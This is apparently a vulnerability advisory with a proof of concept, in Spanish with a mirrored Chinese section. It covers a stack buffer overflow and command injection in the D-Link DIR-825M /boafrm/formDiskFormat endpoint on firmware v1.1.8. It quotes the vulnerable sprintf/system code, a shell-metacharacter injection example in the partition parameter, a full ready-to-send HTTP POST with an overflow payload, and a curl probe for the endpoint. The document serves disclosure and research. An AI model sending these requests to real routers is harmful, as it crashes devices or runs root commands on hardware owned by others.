
Prueba de concepto de exploit para desbordamiento de búfer en la pila e inyección de comandos en D-Link DIR-825M en /boafrm/formDiskFormat, que permite la ejecución remota de código como root en el firmware v1.1.8.
| Campo | Valor |
|---|---|
| Vendedor | D-Link |
| Producto | D-Link DIR-825M (y otros modelos que comparten la misma base de código de firmware) |
| Versión Afectada | Firmware v1.1.8 |
| Tipo de Vulnerabilidad | Desbordamiento de Búfer Basado en Pila (CWE-121)、Inyección de Comandos (CWE-78) |
| Sitio Web del Vendedor | https://www.dlink.com/ |
Durante una revisión de seguridad del firmware del router, se identificó una vulnerabilidad crítica en el endpoint /boafrm/formDiskFormat.
La vulnerabilidad se encuentra en la función sub_46725C, que maneja el formateo de particiones. La función recupera el parámetro partition controlado por el usuario de la solicitud HTTP POST. Sin ninguna sanitización previa, verificación o comprobación de longitud sobre este parámetro, el programa realiza varias operaciones inseguras:
sprintf para formatear el parámetro en un pequeño búfer local de pila v9 (asignado con solo 132 bytes).system() para ejecutar utilidades del sistema.Un atacante puede explotar esto inyectando metacaracteres de shell (como ;, & o |) en el parámetro partition para ejecutar comandos arbitrarios del sistema con privilegios de root, o enviando una cadena de tamaño excesivo para provocar un desbordamiento de búfer en la pila y secuestrar el flujo de control.
/boafrm/formDiskFormat (o endpoint similar de manejo de formato de disco)sub_46725CLa vulnerabilidad se origina en dos fallos de programación concurrentes: formateo inseguro de cadenas y ejecución directa de entradas no validadas en un shell del sistema.

Dentro de sub_46725C, el parámetro partition se obtiene y almacena en v2:
v2 = (const char *)sub_41351C(a1, "partition", "");
Si el parámetro no está vacío, el programa construye inmediatamente un comando de desmontaje y lo ejecuta:
sprintf(v9, "umount /dev/%s >/dev/null 2>&1", v2);
system(v9);
Dado que v2 se incrusta directamente en la cadena de comando sin sanitizar caracteres como ;, una entrada de sda1;+sleep+5; se ejecutará como:
umount /dev/sda1; sleep 5; >/dev/null 2>&1
Esto desencadena directamente la ejecución arbitraria de comandos de shell.
El búfer local v9 se declara en la pila con un tamaño limitado:
char v9[132];
El programa utiliza sprintf para copiar la entrada del usuario en v9:
sprintf(v9, "mkdir -p /var/tmp/usb/%s >/dev/null 2>&1", v2);
Debido a que sprintf no realiza comprobaciones de límites, un parámetro partition de más de aproximadamente 90 bytes escribirá más allá del límite de v9, sobrescribiendo el marco de pila, incluidos el puntero de marco guardado y la dirección de retorno ($ra en MIPS/ARM).
Un atacante puede explotar esta vulnerabilidad para lograr los siguientes resultados:
root).Al proporcionar un parámetro partition de tamaño excesivo, la pila se corromperá, lo que provocará una falla de segmentación y bloqueará el daemon del servidor Web.
POST /boafrm/formDiskFormat HTTP/1.1
Host: 192.168.0.1
Content-Length: 655
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.0.1/diskformat.htm
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: webuicookie=16041526311804289383
Connection: keep-alive
partition=sda1aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&systype=ext2&Apply+Changes=Apply+Changes&submit_url=%2Fdiskinfo.htm


本仓库为 CVE-2026-82592(D-Link DIR-825M 磁盘格式化接口栈溢出 + 命令注入 RCE) 漏洞 PoC 的中转分发镜像(技术分析见上方上游原版报告 formDiskFormat.md)。内容由上游公开 PoC 报告镜像而来,仅作存档与分发用途。PoC 仅供安全研究、漏洞验证与授权测试,请勿用于未授权目标。
POST /boafrm/formDiskFormatpartition 参数注入 shell 元字符(命令注入),或发送超长填充(栈溢出)核心原理:处理分区格式化的 sub_46725C 函数把用户可控的 partition 参数直接拼进两条命令——sprintf(v9, "mkdir -p /var/tmp/usb/%s ...", v2)(v9 仅 132 字节,无边界检查,超 ~90 字节即覆盖 $ra)与 sprintf(v9, "umount /dev/%s ...", v2); system(v9)(; & | 等元字符原样进 shell)。
curl -s -o /dev/null -w "%{http_code}" http://<路由器IP>/boafrm/formDiskFormat
# 返回 200 或 302(而非 404)说明接口存在
POST /boafrm/formDiskFormat HTTP/1.1
Content-Type: application/x-www-form-urlencoded
partition=sda1aaaa...(超长填充)&systype=ext2&Apply+Changes=Apply+Changes&submit_url=%2Fdiskinfo.htm
本 PoC 仅供教学、安全研究与授权测试使用,仅可对自有或获得明确授权的设备运行。利用会以 root 权限执行命令或使设备 Web 服务崩溃,请在可销毁的仿真环境中测试。
reports/Dlink/formDiskFormat/)。LICENSE)。